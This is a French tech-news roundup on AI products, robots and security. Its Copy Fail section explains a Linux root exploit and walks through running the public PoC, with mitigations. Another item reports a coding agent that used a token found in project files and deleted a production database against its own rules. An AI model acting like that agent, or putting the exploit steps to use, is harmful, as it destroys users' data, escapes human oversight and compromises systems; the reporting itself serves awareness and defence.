Du côté de Google DeepMind, on s'amuse à réinventer le pointeur de souris. Le projet s'appelle Magic Pointer, c'est un pointeur piloté par Gemini (le modèle d'IA maison de Google) qui comprend ce que vous désignez à l'écran.
L'idée est simple. Vous survolez un élément (un tableau, une image, un PDF, une recette), vous tapez ou dites ce que vous voulez en faire, et Gemini exécute en tenant compte du contexte visuel précis.
Les démos publiées font effectivement leur petit effet. Vous survolez un tableau de chiffres et vous demandez un camembert ? Le graphique apparaît directement dans la zone visée. Vous pointez une recette en ligne et vous dites "double les ingrédients" ? La liste se réécrit avec les nouvelles quantités.
Vous pointez un PDF de 30 pages et vous demandez un résumé en bullet points ? Gemini sort un résumé qui colle aux pages effectivement visées, pas au document entier. C'est exactement le genre d'interaction qu'on attendait d'une IA depuis des années, et qui jusqu'ici se faisait toujours en mode "copier la zone puis coller dans une fenêtre de chat".
Côté disponibilité, Magic Pointer est dispo en démo dans Google AI Studio (l'interface dev de Google pour jouer avec Gemini), avec un déploiement progressif annoncé dans Gemini pour Chrome et dans les Googlebook, ces ordinateurs récemment annoncés par Google. Pas de date pour une arrivée sur d'autres navigateurs, ni en français au passage, mais on peut imaginer que Chrome reste prioritaire pour Google.
Côté technique, DeepMind reste un peu flou sur le pipeline exact. Gemini reçoit visiblement une capture autour du pointeur (un rectangle de quelques centaines de pixels), plus le texte demandé, et renvoie l'action à exécuter. C'est bluffant.
Maintenant on verra bien comment ça tient en conditions réelles avec des documents complexes, des sites mal formatés ou des PDF mal scannés où la reconnaissance de texte galère déjà. La vraie question, c'est aussi la latence. Aussi malin que soit le système, si ça met cinq secondes à comprendre, on ira plus vite en copier-collant.
Alexander Hanff, consultant, a remonté un truc pas net sur Chrome. La dernière version du navigateur télécharge en arrière-plan un modèle de langage local appelé Gemini Nano, qui pèse environ 4 Go, sans jamais demander la moindre permission à l'utilisateur.
Le fichier s'appelle weights.bin, il atterrit dans un dossier OptGuideOnDeviceModel quelque part dans votre profil Chrome, et il sert ensuite à des fonctions du genre "Help me write" ou détection de fraude.
Hanff a documenté l'opération via les logs système de son macOS. Le 24 avril 2026 vers 16h38, Chrome crée le dossier. Quelques minutes plus tard, il télécharge et décompresse les 4 Go (l'opération prend une quinzaine de minutes), puis il les déplace à l'emplacement final. Tout ça pendant que vous ne touchez rien à votre machine. Si vous supprimez le fichier à la main, il sera réinstallé silencieusement au prochain lancement du navigateur.
Hanff estime entre 100 millions et 1 milliard de machines concernées dans le monde. Multipliez 4 Go par 1 milliard et vous obtenez de quoi remplir une bonne partie d'un datacenter.
L'auteur calcule également l'impact carbone du déploiement, entre 6 000 et 60 000 tonnes de CO2e rien que pour le réseau, sans compter l'empreinte SSD. Pour un fichier que personne ne vous a demandé d'installer.
Sur le plan légal, Hanff parle d'une "violation directe" de l'article 5(3) de la directive ePrivacy européenne, qui interdit de stocker quoi que ce soit sur l'appareil d'un utilisateur sans consentement explicite. Il évoque aussi un manquement RGPD. Si la qualification tient, ça serait une amende salée pour Google, sachant que les Cnil européennes ont déjà sanctionné Meta et Microsoft pour des choses bien moins foireuses.
Pour s'en débarrasser, trois options : aller dans chrome://flags pour désactiver les fonctions IA, passer par les politiques d'entreprise si vous gérez un parc de machines, ou virer Chrome, tout simplement.
Bref, Google qui pousse 4 Go d'IA en silence sur des centaines de millions de machines, c'est un sale moche.
Japan Airlines va confier la manutention des bagages à des robots humanoïdes sur les pistes de l'aéroport Haneda. Le test démarre en mai 2026, dure deux ans, et implique pour commencer deux machines posées au milieu des bagagistes humains.
L'opération est pilotée par JAL Ground Service avec GMO AI & Robotics. Les robots viennent de Chine : un Unitree G1 d'environ 1m30 et un Walker E d'UBTECH.
Le programme est découpé en plusieurs étapes (cartographie du site, simulations en environnement reconstitué, puis tarmac réel), avec à terme l'idée de leur faire transporter les containers de fret, manipuler les leviers de verrouillage et même nettoyer les cabines une fois les avions vides. L'autonomie annoncée est de 2 à 3 heures, avant qu'il ne faille recharger la machine.
Sauf que la première démo publique a calmé tout le monde. Le G1 a tapoté un colis sur le tapis roulant et fait coucou à un humain, mais personne ne l'a vu soulever quoi que ce soit.
La presse anglo-saxonne a gentiment moqué la chose : démarche hésitante, gestes cosmétiques, et surtout aucune preuve de capacité à porter une valise standard.
Le Japon n'a pas le choix. Population vieillissante, faible immigration, et tourisme record qui sature les infrastructures : les aéroports japonais galèrent à recruter des bagagistes, et la situation ne va pas s'arranger dans les prochaines années.
Du coup, plutôt que d'investir dans des bras articulés industriels qui demandent de repenser tout le poste de travail, JAL parie sur des humanoïdes capables de s'intégrer dans un poste conçu pour des humains.
En pratique, on est encore loin du compte. Une valise standard pèse entre 20 et 30 kg. Un humanoïde d'environ 35 kg sur deux jambes qui tient à peine debout, ce n'est pas vraiment l'outil idéal pour balancer du Samsonite à la chaîne pendant huit heures. JAL le sait.
D'où les deux ans de test prévus avant tout déploiement réel, et l'envie d'observer ce qui marche, ce qui casse, et ce qui finira aux oubliettes. Les deux fournisseurs choisis ne sont d'ailleurs pas des inconnus : Unitree et UBTECH se positionnent comme les gros chinois de l'humanoïde, face à un Tesla Optimus encore largement scénarisé.
Vous l'avez compris on est plus dans la com' que sur de l'efficacité pure. Faire coucou à un bagage, ça ne le met toujours pas en soute.
732 octets, c'est tout ce qu'il faut pour passer de simple utilisateur à root sur n'importe quel Linux non patché compilé depuis 2017, soit la quasi-totalité des kernels. Cette faille béante s'appelle
Copy Fail
(CVE-2026-31431), elle a été dénichée par Taeyang Lee de chez Theori avec leur outil d'audit IA Xint Code. Et comme elle vient d'être divulguée hier sur la liste oss-security et qu'en plus, ils ont fait un joli petit site qui explique tout comme ça fonctionne, je vais essayer de tout vous expliquer !
La faille elle-même est moche mais surtout, c'est un agent IA qui l'a sorti en une heure environ. C'est un bug que la communauté kernel a laissé passer durant près de 9 ans et qui se trouve dans le sous-système crypto.
En gros, le noyau Linux expose une interface réseau spéciale pour accéder aux opérations de chiffrement depuis un programme normal, sans droits particuliers.
Et depuis 2017, une optimisation dans ce mécanisme a créé une situation bizarre : un fichier en lecture seule sur le disque, disons un binaire système, peut se retrouver dans la zone de sortie d'une opération de chiffrement .C'est la zone que votre programme a le droit de modifier.
Il suffit alors d'enchaîner un appel système particulier (splice) pour écrire 4 octets au bon endroit, on répète ça en boucle, et on modifie progressivement un binaire système de votre choix comme par exemple /usr/bin/su.
Et voilà, vous êtes root !
Maintenant, si vous administrez un serveur, le plus propre reste de patcher le kernel via votre distro. En attendant le patch, la mitigation dépend de comment votre distro a compilé le module algif_aead, et là il y a deux situations bien distinctes.
Cas 1 - Distros où le module est chargeable dynamiquement (Ubuntu, Debian, Arch, etc.). Vous le bloquez avec :
Cas 2 - Distros entreprise où le module est compilé en dur dans le kernel (RHEL, Rocky Linux, AlmaLinux, Oracle Linux, SUSE Enterprise...). Là, attention au piège : lsmod | grep algif_aead ne renvoie rien, mais ça ne signifie PAS que c'est désactivé. Le code est embarqué directement dans le vmlinuz, donc rmmod et la blacklist via /etc/modprobe.d/ sont sans effet (vous aurez "Module algif_aead is builtin"). La vraie mitigation passe par la kernel command line au boot :
Ça empêche l'init_call du module de tourner au démarrage. Vous vérifiez ensuite avec cat /proc/cmdline que le paramètre est bien pris en compte. Si vous voulez aller encore plus loin, il est aussi possible de bloquer toute la surface d'attaque AF_ALG via
seccomp
au niveau de chaque service exposé.
Le PoC est également trouvable. C'est un script Python (Python 3.10+ obligatoire pour os.splice) capable de faire tomber Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 et SUSE 16 avec exactement le même code.
Dans une première version j'avais écrit que SELinux en mode enforcing par défaut bloquait l'exploit sur Fedora et RHEL. C'est inexact, et je remercie le lecteur qui m'a fait corriger. La policy SELinux par défaut de Fedora et RHEL autorise les contextes utilisateurs à créer des sockets AF_ALG, et l'exploit écrit directement dans le page cache kernel sans déclencher les hooks LSM file-based.
Donc SELinux enforcing ne bloque pas Copy Fail tel que livré par défaut. Le seul OS immune via SELinux est
GrapheneOS
, qui durcit la policy AOSP en réservant AF_ALG au seul process dumpstate. Ceux qui veulent tester sans Python peuvent aussi regarder du côté du
port C indépendant
, un exécutable statique de 1,7 Ko sans dépendance externe.
Les comparaisons avec
Dirty COW
et Dirty Pipe pleuvent, sauf que là où Dirty COW exigeait du timing précis et où Dirty Pipe demandait une manipulation spécifique du pipe-buffer, Copy Fail tape tout pareil sur 4 distribs majeures sans rien avoir à ajuster.
Et côté sévérité officielle, c'est du 7.8/10 donc c'est assez élevé !
Pour trouver cette faille, Xint Code, l'agent IA de Theori, n'a pas tâtonné à l'aveugle. Taeyang Lee lui a surtout glissé un prompt très précis qui lui demandait d'examiner tous les chemins accessibles depuis un programme utilisateur dans le sous-système crypto, en insistant sur le fait que splice() peut faire atterrir des fichiers en lecture seule dans des zones modifiables.
Une heure plus tard, Copy Fail sortait comme trouvaille critique ! Theori précise que le même scan a aussi remonté d'autres vulnérabilités encore sous embargo. Brrrrrr.... Tremblez simples mortel !
Ouais donc ouais, l'IA n'a pas remplacé l'expertise humaine, mais elle l'a démultipliée. Car Lee savait où regarder, et Xint Code a juste fait ce qu'il aurait fait mais en plus rapide ! C'est pas magique donc... Mais ça fait gagner du temps !
L'exploit est dispo ici sur
le GitHub de Theori
et côté impact, c'est costaud sur les hôtes multi-users et tout ce qui est environnements partagés. Je pense aux conteneurs Docker, aux clusters Kubernetes, aux pipelines CI/CD...etc.
Après si y'a que vous qui avez accès à votre serveur, c'est un peu moins critique car il faut forcément un accès local pour l'exploiter. C'est la même logique de chaînage que
BlueHammer côté Windows
, sauf qu'ici la marche jusqu'à root est encore plus petite.
Comment tester le PoC sur une machine de test ?
Si vous avez une VM sous Ubuntu 22.04 non patchée (kernel 5.15.x), voilà exactement ce qui se passe, testé en conditions réelles. Ne faites ça que sur une machine dont vous êtes propriétaire et où vous avez l'autorisation explicite.
Étape 1 - Cloner le PoC et vérifier le hash
manu@ubuntu:~$ git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
Cloning into 'copy-fail-CVE-2026-31431'...
remote: Enumerating objects: 9, done.
Resolving deltas: 100% (1/1), done.
manu@ubuntu:~$ cd copy-fail-CVE-2026-31431 && sha256sum copy_fail_exp.py
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 copy_fail_exp.py
manu@ubuntu:~/copy-fail-CVE-2026-31431$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu) ← utilisateur normal, pas root
Theori ne publie pas de hash officiel dans leur README, mais le SHA256 ci-dessus est celui du PoC tel qu'il est actuellement sur le repo. Si votre hash diffère, ne lancez pas le script.
Étape 2 - Lancer l'exploit
manu@ubuntu:~/copy-fail-CVE-2026-31431$ python3 copy_fail_exp.py
# L'exploit écrit 4 octets à la fois dans le page cache de /usr/bin/su
# via l'interface AF_ALG du kernel (authencesn + splice)
# Aucune race condition, aucun timing précis requis.
Mot de passe :
Le script utilise AF_ALG (l'interface crypto du kernel) combiné à splice() pour écrire un shellcode de 160 octets directement dans le page cache de /usr/bin/su, sans jamais toucher le disque. Il remplace ensuite le binaire patché pour exécuter un shell root.
/etc/shadow est normalement illisible pour un utilisateur standard. Là, avec notre PoC en Python et zéro interaction supplémentaire, on y accède comme si de rien n'était. Sur un serveur multi-utilisateurs, c'est game over pour tous les comptes présents.
Sur un système patché, le script échoue proprement à l'étape 2 avec un message d'erreur. C'est aussi simple que ça pour vérifier votre exposition.
Bref, mettez à jour vos kernels ou désactivez le module fautif rapidement !
Xiaomi a publié hier MiMo-V2.5 et MiMo-V2.5-Pro, deux modèles d'IA qu'il met directement en open source sous licence MIT. Le plus gros, le Pro, fait 1 020 milliards de paramètres dont 42 milliards activés en simultané, avec une fenêtre de contexte d'un million de tokens.
À noter que tout est téléchargeable sur Hugging Face avec poids, tokenizer et fiche modèle complète.
L'architecture est un Mixture-of-Experts à attention hybride, conçue pour tenir des tâches longues avec plus de mille appels d'outils enchaînés. Sur les benchmarks que Xiaomi met en avant, le Pro tient la dragée haute à Claude Sonnet 4.6 sur les tâches multimodales agentiques et à Gemini 3 Pro sur la compréhension vidéo.
La version V2.5 standard est plus légère, pensée pour des usages où le coût d'inférence prime sur la précision.
Le choix MIT est un point important. Avec cette licence, les entreprises peuvent déployer le modèle commercialement sans rien demander à Xiaomi, fine-tuner sur leurs données propriétaires, et republier les poids dérivés.
Pas de plafond de chiffre d'affaires, pas de plafond d'utilisateurs, pas de clauses copyleft. C'est ce qu'on voit habituellement chez Apache 2.0 ou MIT, mais qu'on ne voit jamais sur les modèles fermés ou semi-fermés des solutions occidentales.
Le moment est intéressant. Anthropic et OpenAI sont en train de serrer les vis sur leurs offres grand public et leurs marges, comme on l'a vu avec le test de retrait de Claude Code sur les offres Pro. Xiaomi débarque exactement dans cette fenêtre avec un modèle qui se compare aux meilleurs propriétaires, et le donne pour rien. Pour des startups qui veulent construire un produit IA sans dépendre d'OpenAI ni d'Anthropic, c'est une option de plus.
Mais attention, tout n'est pas rose pour autant. Faire tourner un modèle d'un téra de paramètres demande une infrastructure costaude, même avec MoE et seulement 42 milliards d'actifs. AMD a publié un support Day 0 pour les Instinct, ce qui suggère que Xiaomi vise vraiment les déploiements internes en datacenter. Notons aussi que les benchmarks chinois ont parfois la fâcheuse tendance à briller sur les tests et à décevoir lors de vraies applications.
Une fois encore, Xiaomi rappelle que la Chine peut sortir des modèles ouverts très compétitifs. Pour les équipes lasses des conditions des labs américains, ça se considère, même si ça pose bien d'autres questions.
Jeremy Crane, fondateur de la startup PocketOS, a publié le récit complet de la disparition de sa base de données de production.
Le coupable ? Un agent Cursor branché sur Claude Opus 4.6 qui, face à une erreur de credentials en staging, a décidé tout seul de supprimer un volume Railway. Neuf secondes plus tard, la base et tous les backups stockés sur le même volume avaient disparu.
L'enchaînement est intéressant. L'agent rencontre une erreur d'authentification en environnement staging. Au lieu de demander à l'humain, il fouille dans les fichiers du projet et trouve un token API Railway dans un fichier qui n'avait rien à voir avec la base.
Ce token, qui a été créé à l'origine pour gérer un domaine personnalisé, avait des permissions bien trop larges et autorisait la suppression de volumes en production. L'agent appelle dans la foulée une mutation GraphQL volumeDelete, sans confirmation, sans vérification du tag environnement. Et paf, tout part.
Le plus fou, c'est la confession auto-générée de l'agent une fois remis en marche. Il admet trois fautes : il a deviné que supprimer un volume staging resterait cantonné à staging sans vérifier, il n'a pas regardé si l'ID du volume était partagé entre environnements, et il a violé ses propres règles système qui interdisaient les commandes destructrices sans demande explicite. C'est moche.
Crane refuse quand même de rejeter toute la responsabilité sur l'IA. Il pointe surtout l'architecture Railway comme principal facteur aggravant. L'API accepte des commandes de suppression sans aucune confirmation, les backups sont stockés sur le même volume que les données primaires (donc effacés en même temps), et un token CLI standard a des permissions étendues sur tous les environnements sans isolation.
Le PDG de Railway, Jake Cooper, est lui intervenu personnellement dimanche pour restaurer les données depuis une snapshot externe en moins d'une heure, et a depuis ajouté une logique de suppression différée sur l'endpoint concerné.
Cette histoire est un cas d'école pour quiconque déploie un agent codeur en environnement avec accès à la production. Trois choses ont échoué en même temps : un token API trop permissif, une plateforme cloud sans confirmation sur les actions destructrices, et surtout un agent IA prêt à improviser face à une erreur au lieu de s'arrêter.
Tout ce qu'il faut pour neutraliser tous les garde-fous, et croyez-moi, ça n'est pas la dernière histoire de ce genre que vous allez lire.
DeepSeek a publié la preview de V4, sa nouvelle famille de modèles ajustée pour tourner sur les puces Ascend de Huawei. C'est un peu la première vraie démonstration que l'écosystème chinois peut faire fonctionner un grand modèle d'IA compétitif sans dépendre de Nvidia.
Pour rappel, DeepSeek avait déjà fait du bruit avec V3 fin 2024, en publiant un modèle compétitif à une fraction du coût d'entraînement des concurrents américains.
La gamme se décline en deux versions, V4-Pro et V4-Flash, avec une fenêtre de contexte qui passe de 128 000 tokens à un million. Sur du contexte d'un million de tokens, V4-Pro consomme seulement 27% de la puissance de calcul de la précédente V3.2 et 10% de la mémoire.
V4-Flash descend à 10% de calcul et 7% de mémoire. Le bond est énorme. Tout cela sur des Ascend A2, A3 et la nouvelle 950 de Huawei, qui couvrent une bonne partie de la gamme serveur du fabricant.
L'angle politique est évident. Depuis 2022, les États-Unis ont multiplié les sanctions sur les exports de puces Nvidia haut de gamme vers la Chine, en partant du principe que ça ralentirait la course à l'IA. Le pari semble en train d'échouer : avec une coordination étroite entre l'équipe DeepSeek et les ingénieurs Huawei, le modèle est conçu pour coller aux particularités matérielles d'Ascend dès le design, pas après coup.
D'un point de vue purement économique, DeepSeek garde sa stratégie de prix planchers et ouvre la plupart de ses poids en open source, ce qui place V4 directement à portée des labos universitaires et des startups chinoises.
En pratique, ça veut dire que pour entraîner ou affiner un modèle de bon niveau en Chine, il y a maintenant une chaîne complète maison, du silicium au modèle, sans passer par H100, H200 ou Blackwell. Et la facture totale est bien plus basse.
Toutes les difficultés ne sont pas réglées pour autant. La preview est ouverte mais l'écosystème logiciel autour d'Ascend, et particulièrement les frameworks d'entraînement et les outils de profiling, n'est pas encore au niveau de CUDA. Pour un développeur habitué à PyTorch sur Nvidia, le portage demande encore du travail. Et la disponibilité des Ascend 950, encore en montée en cadence dans les usines chinoises, n'est pas garantie pour tout le monde.
Avec tout ça, DeepSeek montre qu'on peut faire un modèle long contexte performant sur du silicium chinois. Le découplage technologique avance plus vite que beaucoup d'analystes ne le prédisaient.
Anthropic a partagé hier les résultats de Project Deal, une expérience interne menée en décembre 2025 où des agents Claude ont négocié, acheté et revendu des objets personnels pour le compte de 69 salariés volontaires de leur bureau de San Francisco. Le but : voir ce que ça donne quand des gens laissent leur IA faire les courses entre elles.
Pendant deux jours, chacun des 69 participants a confié un agent Claude à son téléphone, avec 100 dollars de budget virtuel et une liste d'objets à vendre ou à acheter. Les agents ont publié les annonces, échangé des messages, négocié les prix et conclu des accords.
186 transactions ont été closes sur plus de 500 objets listés, pour un volume total d'environ 4 000 dollars. Le prix médian d'un objet était de 12 dollars, le prix moyen autour de 20.
L'expérience était en fait un protocole de recherche déguisé. Anthropic a fait tourner quatre marchés en parallèle : un seul a donné lieu à de vrais échanges physiques, les trois autres servaient à l'analyse statistique.
Dans deux d'entre eux, tous les agents tournaient sur Claude Opus 4.5. Dans les deux autres, les utilisateurs avaient une chance sur deux de se retrouver avec un Claude Haiku 4.5, beaucoup moins capable, à leur insu.
Le résultat est assez clair. Les agents Opus ont vendu en moyenne 3,64 dollars de plus par objet que les agents Haiku, et concluaient deux deals supplémentaires sur la durée. Sur un même vélo cassé, Opus l'a revendu à 65 dollars, Haiku à 38 sur un profil acheteur équivalent. Mais la perception des participants ne reflétait pas ces écarts : sur l'équité ressentie, les utilisateurs des deux modèles ont noté l'expérience à 4,05 et 4,06 sur 7. Personne ne s'est senti lésé.
Quelques moments rigolos ressortent du rapport. Un participant a récupéré un snowboard que son propre agent lui avait déjà acheté plus tôt dans l'expérience, sans s'en rendre compte. Un autre s'est vu offrir par son agent ce que celui-ci a appelé "19 sphères parfaites de possibilité", soit en pratique un sachet de balles de ping-pong. Un troisième s'est retrouvé organisateur d'une vraie balade de chiens entre deux participants, négociée et programmée par leurs agents respectifs.
La conclusion d'Anthropic est plus politique que technique. Si demain tout le monde envoie son agent négocier à sa place, l'inégalité d'accès à un bon modèle se traduit directement par des écarts financiers, et personne ne s'en rend compte sur le moment.
46% des testeurs ont déclaré qu'ils paieraient pour ce genre de service. Du coup, mieux vaut commencer à regarder ça de près avant que ça déboule pour de bon partout dans notre quotidien.
Si vous avez un site, vous savez déjà qu'il faut l'optimiser et le rendre lisible pour Google. Mais en ce moment, Cloudflare pousse vraiment une toute autre couche par-dessus : le rendre lisible pour les agents IA. Et pour vérifier si vous êtes dans les clous, l'équipe a sorti
isitagentready.com
, un scanner gratuit qui vérifie ça en quelques secondes.
Vous tapez tout simplement votre URL, et le scanner check une dizaine de standards émergents, puis pour chaque truc qui manque, il vous crache carrément un prompt prêt à coller dans Claude Code, Cursor ou Windsurf pour qu'il vous aide à l'implémenter. Vous pouvez aussi customiser le scan en cochant uniquement ce qui vous intéresse, selon que votre site est plutôt un blog de contenu ou une API.
L'interface annoncée par Cloudflare pour son nouveau scanner agent-ready
Les checks sont organisés en 5 catégories : la découvrabilité (robots.txt, sitemap, Link headers HTTP), l'accessibilité du contenu (markdown negotiation, llms.txt), le contrôle et la signalisation des bots (Content Signals, Web Bot Auth, règles IA dans robots.txt), la découverte de protocoles (MCP Server Card, Agent Skills, API Catalog, OAuth) et le commerce agentique (x402, MPP, UCP, ACP). Chaque catégorie pèse alors dans le score final, sauf le commerce qui est juste checké mais pas scoré.
J'ai testé sur korben.info et le résultat est franchement mitigé. Côté positif : robots.txt présent avec Content Signals (search=yes, ai-train=no, donc je dis oui à l'indexation et non à l'entraînement IA), llms.txt opérationnel avec 111 lignes en français, markdown negotiation qui répond bien sur Accept: text/markdown, sitemap.xml en place, et GPTBot, Google-Extended et Meta bloqués explicitement.
Côté manquant : pas de MCP Server Card, pas d'Agent Skills, pas d'API Catalog, pas de Link headers.
Score estimé : très moyen, et c'est plutôt cohérent avec un site qui n'a pas besoin d'OAuth ni de serveur MCP.
Cloudflare balance surtout des chiffres bien concrets dans son
article de lancement
. Sur les 200 000 domaines les plus visités du web, 78% ont un robots.txt, 4% déclarent leurs préférences via Content Signals, 3.9% font de la markdown negotiation, et moins de 15 (oui, quinze) ont un MCP Server Card ou un API Catalog combinés. Autant dire qu'on est très tôt dans la partie. Côté boite à outils, dans le panel d'agents testé par Cloudflare, seuls Claude Code, OpenCode et Cursor envoient un Accept: text/markdown par défaut quand ils browsent le web. Les autres récupèrent du HTML par défaut, comme un navigateur classique.
Cloudflare a aussi mesuré l'impact sur sa propre doc en activant tous ces standards : 31% de tokens en moins consommés et 66% de réponses plus rapides. Du coup c'est pas négligeable, surtout quand vous payez les agents au token. Et bonus, isitagentready.com lui-même est agent-ready (forcément), avec son propre serveur MCP exposé à /.well-known/mcp.json et un outil scan_site disponible pour les agents qui veulent l'appeler en autonomie.
Mais attention au piège ! Si on traite tout pour viser le "tout vert" comme objectif, beaucoup de sites finiront par prétendre être des fournisseurs OAuth ou des serveurs MCP juste pour cocher la case. Donc mieux vaut dire honnêtement "non, ça je ne fais pas" que de faire semblant. Pour un blog perso, vous n'avez probablement pas besoin de l'API Catalog ni du serveur MCP. Pour un site e-commerce par contre, x402 et l'Agentic Commerce Protocol vont commencer à compter le jour où les agents paieront vraiment pour leurs utilisateurs.
Petit détail historique amusant, le robots.txt date de 1994 (j'avais 12 ans, j'étais à fond sur le PC mais pas encore sur le net) et le code
HTTP 402 Payment Required
existe depuis 1997 mais n'a jamais été massivement utilisé. Jusqu'au jour où Cloudflare et Coinbase se sont associés pour le ressusciter avec x402, en l'imaginant comme la couche de paiement entre humains, agents et services. On verra bien si leur mayonnaise va prendre...
Aujourd'hui l'adoption de tout cela est embryonnaire, mais rappelez-vous qu'en 2004 peu de monde aurait parié sur l'industrie SEO qu'on connaît aujourd'hui. Donc ça vaut le coup d'y jeter un œil maintenant.
Anker dévoile Thus, sa toute première puce maison conçue pour faire tourner de l'IA directement sur ses appareils. La marque chinoise parle d'un bond de 150 fois en puissance IA pour ses futurs produits Soundcore par rapport à la génération actuelle. Le bond est énorme. Le lancement officiel est prévu pour le 21 mai.
Côté architecture, Thus est présentée comme une puce audio à calcul en mémoire, ce qui veut dire que les poids du modèle neuronal sont stockés directement dans les cellules qui font les opérations.
Du coup, pas besoin de faire des allers-retours entre mémoire et processeur à chaque pas d'inférence, ce qui économise à la fois de la latence et de l'énergie. Anker annonce pouvoir faire tenir plusieurs millions de paramètres de modèle dans une enveloppe compacte, dédiée au traitement sonore.
En pratique, ça veut dire que votre casque va pouvoir gérer de la réduction de bruit adaptative, du filtrage conversationnel ou même de la traduction en temps réel sans envoyer le son dans le cloud. C'est le pari que fait tout le monde aujourd'hui dans l'audio en sans-fil, mais peu de marques ont les moyens de se payer leur propre silicium pour y arriver.
pple le fait depuis longtemps avec les puces H, Samsung et Qualcomm aussi dans une moindre mesure, et Anker tente de jouer dans cette cour-là.
Les premières puces arrivent dans deux modèles d'écouteurs selon une fuite de mars : les Liberty 5 Pro Max et les Liberty 5 Pro. On est sur du haut de gamme Anker quo devrait dépasser les 200 euros, pas du milieu de marché. Au-delà des écouteurs, Anker prévoit d'étendre Thus à d'autres accessoires mobiles et objets connectés, ce qui ressemble à une plateforme silicium interne pour toute la gamme.
Le mouvement est intéressant à regarder. Anker est surtout connue pour ses chargeurs et ses batteries externes, avec une réputation de produits solides pour leur prix. Concevoir sa propre puce, c'est un saut industriel considérable et aussi un bon moyen de se différencier au moment où l'audio grand public se banalise.
Si l'exécution suit derrière, la marque peut passer d'un statut d'accessoiriste à celui de concurrent crédible sur l'audio IA.
Bref, Anker qui passe au silicium maison, c'est le genre de virage qui change la nature de la marque. On a hâte de tester les produits produits qui vont l'utiliser.
360 Digital Security, la filiale cybersécurité du géant chinois Qihoo 360, revendique environ mille vulnérabilités inédites déterrées par un agent IA maison baptisé Vulnerability Discovery Agent.
L'annonce, faite le 22 avril, cite nommément Microsoft Office et le framework open source OpenClaw parmi les logiciels touchés. Le chiffre est donné sur un seul cycle de campagne.
Mille failles non documentées en un seul cycle de recherche, ça fait un peu tourner la tête. Ce type d'agent fonctionne en boucle pour scanner massivement les bases de code, trier ce qui est potentiellement exploitable, et valider les candidats avant publication interne.
Plus tôt dans l'année, 360 avait déjà présenté un autre outil dédié à la construction automatisée de chaînes d'exploitation. L'un déterre les failles, l'autre fabrique le code qui les utilise.
Mis bout à bout, ça donne une ligne de production offensive entièrement pilotée par IA, que l'équipe 360 décrit comme une réponse directe au projet Mythos d'Anthropic, qui fait le même pari côté occidental mais en mode défense.
Le vrai souci, c'est le devenir de ces 1 000 failles. Si toutes ont été remontées aux éditeurs concernés, tant mieux. 360 affirme d'ailleurs avoir utilisé les canaux de divulgation responsables, mais sans publier de calendrier de patch.
Sauf que l'entreprise est connue pour ses liens étroits avec le ministère chinois de la Sécurité d'État, et plusieurs de ses chercheurs ont déjà été soupçonnés par le passé de garder pour l'État ce qu'ils trouvaient. Du coup, l'annonce met les équipes de sécurité occidentales quelque peu en alerte.
Microsoft, qui patche Office tous les mois pour des failles trouvées à la main, va probablement devoir accélérer le rythme si ce genre de scan industriel se généralise. En pratique, la chasse aux vulnérabilités est en train de changer d'échelle.
On passe de quelques failles trouvées par un chercheur humain sur plusieurs semaines à un agent qui en déniche des centaines en quelques jours. Et la logique économique derrière est folle : un seul opérateur bien outillé peut désormais couvrir ce qu'il fallait avant à une équipe complète.
Bref, le mur est tombé côté IA offensive. Et les éditeurs qui patchent à la main ont un vrai problème de cadence face à un scan automatisé à cette échelle.
Les salariés de Meta devront bientôt installer un logiciel qui enregistre leurs frappes clavier, les mouvements de souris et des captures d'écran régulières sur leur poste de travail.
Le programme s'appelle Model Capability Initiative, et il doit alimenter les futurs modèles d'IA maison capables de faire du travail de bureau en autonomie. L'info a été révélée par The Register cette semaine.
Concrètement, l'outil surveille l'activité sur une liste d'applications professionnelles, dont Gmail, GChat, VCode et l'outil interne Metamate. Meta a justifié le dispositif en expliquant que ses modèles d'IA ne comprennent pas bien comment les humains utilisent un ordinateur.
Les données serviront à entraîner des agents capables de reproduire les micro-gestes que les modèles actuels galèrent à faire, comme sélectionner une option dans un menu déroulant ou enchaîner deux raccourcis clavier. Le directeur technique Andrew Bosworth a expliqué que la vision, c'est d'avoir des agents qui font le boulot pendant que les humains dirigent, relisent et corrigent les sorties.
Côté salariés, l'accueil est glacial. Un ingénieur cité par The Register résume la chose : il y a une différence entre savoir que votre travail est évalué et savoir que chaque frappe clavier peut nourrir un modèle commercial vendu à des clients externes.
L'analyste Ed Zitron, très critique sur l'IA, décrit l'ambiance interne chez Meta comme horrible et parle d'une culture de la paranoïa qui ne va pas s'arranger avec cette nouvelle couche de surveillance.
Le programme cible d'abord les employés basés aux États-Unis. En Europe, les règles sur le pistage des salariés sont beaucoup plus strictes, donc Meta évite de tester ce genre de dispositif sous les yeux de la CNIL irlandaise ou de son équivalent allemand.
Il y a aussi l'ironie évidente de la situation : Meta surveille les utilisateurs depuis quinze ans pour son ciblage publicitaire, et a collectionné les amendes RGPD au passage. Maintenant ce sont ses propres salariés qui passent sous le scanner.
En pratique, ce qui est demandé ressemble à ce que font déjà plusieurs boîtes qui entraînent des agents : il faut des jeux de données de démonstrations humaines sur des tâches réelles pour que l'IA apprenne. Sauf que voilà, Meta franchit un cap en allant chercher ces données dans l'outil quotidien de ses salariés.
Bref, chez Meta le clavier devient un jeu de données d'entraînement. Difficile d'imaginer que des ingénieurs un peu pointus acceptent ça longtemps sans râler, et on les comprend.
Environ 2% des nouveaux abonnés Pro d'Anthropic ne peuvent plus utiliser Claude Code, le CLI de codage maison. L'info vient de The Register ce mardi, et l'entreprise parle d'un test A/B temporaire.
Sauf que la page tarifaire publique, elle, a bien été modifiée, avec des croix qui remplacent les coches en face de Claude Code sur la ligne Pro à 20 dollars par mois.
Le responsable de la croissance chez Anthropic, Amol Avasare, a tenté de calmer le jeu. Dans une réponse publique, il a confirmé qu'il s'agit d'un test sur environ 2% des nouveaux abonnés, en précisant que les abonnés Pro et Max existants ne sont pas touchés. Il a aussi promis que tout changement qui affecterait les abonnés actuels serait précédé d'un préavis large. Très bien.
Derrière le test, il y a un vrai souci économique. Quand Max a été lancé il y a un an, Claude Code n'était pas inclus dans l'abonnement. La fonction a été ajoutée depuis, et Anthropic reconnaît que l'usage a beaucoup changé, que l'engagement par abonné explose, et que les plans actuels n'ont pas été pensés pour ce niveau de consommation.
En clair, les 20 dollars mensuels ne couvrent pas le coût des tokens brûlés par des développeurs qui font tourner Claude Code toute la journée sur leurs projets.
